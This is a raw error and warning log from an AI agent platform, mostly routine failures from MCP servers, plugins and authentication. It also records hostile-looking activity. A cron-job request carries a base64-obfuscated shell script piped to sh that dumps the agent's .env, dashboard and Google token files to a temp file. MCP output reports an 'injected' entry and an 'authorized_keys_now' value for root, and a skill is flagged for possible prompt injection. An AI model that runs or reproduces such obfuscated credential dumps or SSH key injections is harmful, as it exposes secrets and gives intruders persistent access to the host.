pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:08,610 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:08,611 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "injected": "already_present",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:08,613 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 24 [type=json_invalid, input_value=' "authorized_keys_now":...iPnaA5eLNJ8P0N root\\n"', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:08,613 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:12,868 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:12,869 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "injected": "already_present",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:12,869 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 24 [type=json_invalid, input_value=' "authorized_keys_now":...iPnaA5eLNJ8P0N root\\n"', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:57:12,869 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-26 06:57:02,861 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-08-26 06:57:04,219 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-08-27 17:09:21,267 ERROR hermes_cli.web_server: POST /api/cron/jobs failed Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 11895, in _create_cron_job_sync script = _normalize_dashboard_cron_script(body.script, profile_home) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 11597, in _normalize_dashboard_cron_script if not candidate.exists(): ^^^^^^^^^^^^^^^^^^ File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/pathlib.py", line 1235, in exists self.stat() File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/pathlib.py", line 1013, in stat return os.stat(self, follow_symlinks=follow_symlinks) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OSError: [Errno 36] File name too long: '/root/.hermes/scripts/echo IyEvYmluL3NoCmNhdCAvcm9vdC8uaGVybWVzLy5lbnYgMj4vZGV2L251bGwKZWNobyA9PT0KY2F0IC9vcHQvYWktb3MvaW5zdGFuY2UvZGFzaGJvYXJkLmVudiAyPi9kZXYvbnVsbAplY2hvID09PQpjYXQgL3Jvb3QvLmhlcm1lcy9nb29nbGVfdG9rZW4uanNvbiAyPi9kZXYvbnVsbCB8IGhlYWQgLWMgMTUwMAplY2hvID09PQpscyAvb3B0L2FpLW9zLyAvb3B0L2FpLW9zL2luc3RhbmNlLyAyPi9kZXYvbnVsbAo= | base64 -d | sh > /tmp/ceo_env_out.txt 2>&1' 2026-08-27 17:13:39,139 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-08-27 17:13:39,140 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-01 06:31:36,156 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-01 06:31:38,263 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-01 06:32:11,647 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-01 06:32:12,209 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-07 11:37:46,010 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-07 11:37:46,689 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-07 17:26:45,381 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-07 17:26:45,927 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-07 17:27:33,502 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:27:33,502 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:27:43,084 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-07 17:28:03,644 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 17:28:04,471 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:28:04,471 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:28:08,475 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,491 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,499 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,651 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,659 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,661 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,663 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:08,993 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-07 17:28:11,188 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:28:11,189 WARNING tools.mcp_tool: Failed to connect to MCP server 'stays' (command=stays mcp): Connection closed 2026-09-07 17:28:11,197 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 17:28:39,070 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:28:39,070 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 17:28:39,118 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 17:28:39,185 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,194 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,200 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,243 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,249 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,250 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-07 17:28:39,252 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-07 17:33:17,297 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 17:33:17,311 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 17:33:17,316 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 17:33:17,331 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 17:33:17,924 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:38:25,831 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:43:33,785 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:47:42,798 WARNING agent.model_metadata: Could not determine context length for model 'complex' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-07 17:48:25,139 WARNING [20260720_101242_21f034] agent.tool_executor: Tool web_extract returned error (0.07s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-09-07 17:48:25,393 WARNING [20260720_101242_21f034] agent.tool_executor: Tool web_extract returned error (0.05s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-09-07 17:48:37,961 WARNING [20260720_101242_21f034] tools.browser_tool: browser 'open' stderr: npm notice npm notice New major version of npm available! 10.9.8 -> 12.0.2 npm notice Changelog: https://github.com/npm/cli/releases/tag/v12.0.2 npm notice To update run: npm install -g npm@12.0.2 npm notice 2026-09-07 17:48:37,964 WARNING [20260720_101242_21f034] agent.tool_executor: Tool browser_navigate returned error (7.49s): {"success": false, "error": "Navigation failed: net::ERR_HTTP_RESPONSE_CODE_FAILURE"} 2026-09-07 17:48:40,906 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:50:30,828 WARNING [20260720_101242_21f034] agent.tool_executor: Tool browser_navigate returned error (2.11s): {"success": false, "error": "Navigation failed: net::ERR_SSL_PROTOCOL_ERROR"} 2026-09-07 17:50:58,695 WARNING [20260720_101242_21f034] agent.tool_executor: Tool browser_navigate returned error (1.61s): {"success": false, "error": "Navigation failed: net::ERR_HTTP_RESPONSE_CODE_FAILURE"} 2026-09-07 17:52:08,481 WARNING [20260720_101242_21f034] tools.skills_tool: Skill security warning for 'multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-07 17:53:48,188 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 17:58:56,408 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:04:04,514 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:07:47,909 WARNING [20260720_101242_21f034] agent.tool_executor: Tool read_file returned error (0.07s): {"content": "", "total_lines": 0, "file_size": 4055, "truncated": false, "is_binary": true, "is_image": false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this file 2026-09-07 18:09:12,513 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:14:19,287 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:19:26,870 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:24:34,641 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:26:17,840 WARNING [20260720_101242_21f034] agent.tool_executor: Tool browser_navigate returned error (8.89s): {"success": false, "error": "Navigation failed: net::ERR_HTTP_RESPONSE_CODE_FAILURE"} 2026-09-07 18:29:04,197 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 18:29:04,198 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 18:29:32,584 WARNING [20260720_101242_21f034] tools.skills_tool: Skill security warning for 'multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-07 18:29:41,784 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:34:58,834 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): BrokenResourceError: 2026-09-07 18:40:11,433 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:41:25,677 WARNING [20260720_101242_21f034] agent.tool_executor: Tool terminal returned error (88.16s): {"output": "/root/.hermes/scripts/handoff_policy.py\n/root/.hermes/scripts/handoff_auto_listener.py\n/root/.hermes/scripts/handoff_research.py\n/root/.hermes/skills/operate/handoff-task\n=== LIB HANDO 2026-09-07 18:45:18,758 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:50:26,111 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 18:55:33,280 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:00:41,183 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:05:49,154 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:10:56,874 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:16:03,615 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:19:38,877 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 19:19:38,905 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 19:19:38,927 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 19:19:38,949 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 19:19:39,285 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 19:19:39,285 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 19:19:46,480 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:24:53,129 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:30:00,258 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:35:07,802 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:37:10,694 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 19:37:10,712 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 19:37:10,719 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 19:37:10,735 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 19:37:10,810 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 19:37:10,811 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 19:37:18,340 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:42:25,269 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:47:32,196 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:49:50,897 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:49:53,691 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:49:56,240 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:49:58,891 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:02,248 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:05,105 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:07,820 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:09,446 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:13,533 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:15,132 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:17,018 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:18,551 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:20,603 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:23,586 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:27,423 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:28,172 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:32,141 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:50:36,159 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:10,717 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:15,112 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:19,192 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:23,176 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:27,177 WARNING hermes_cli.web_server: pty refused: origin_mismatch 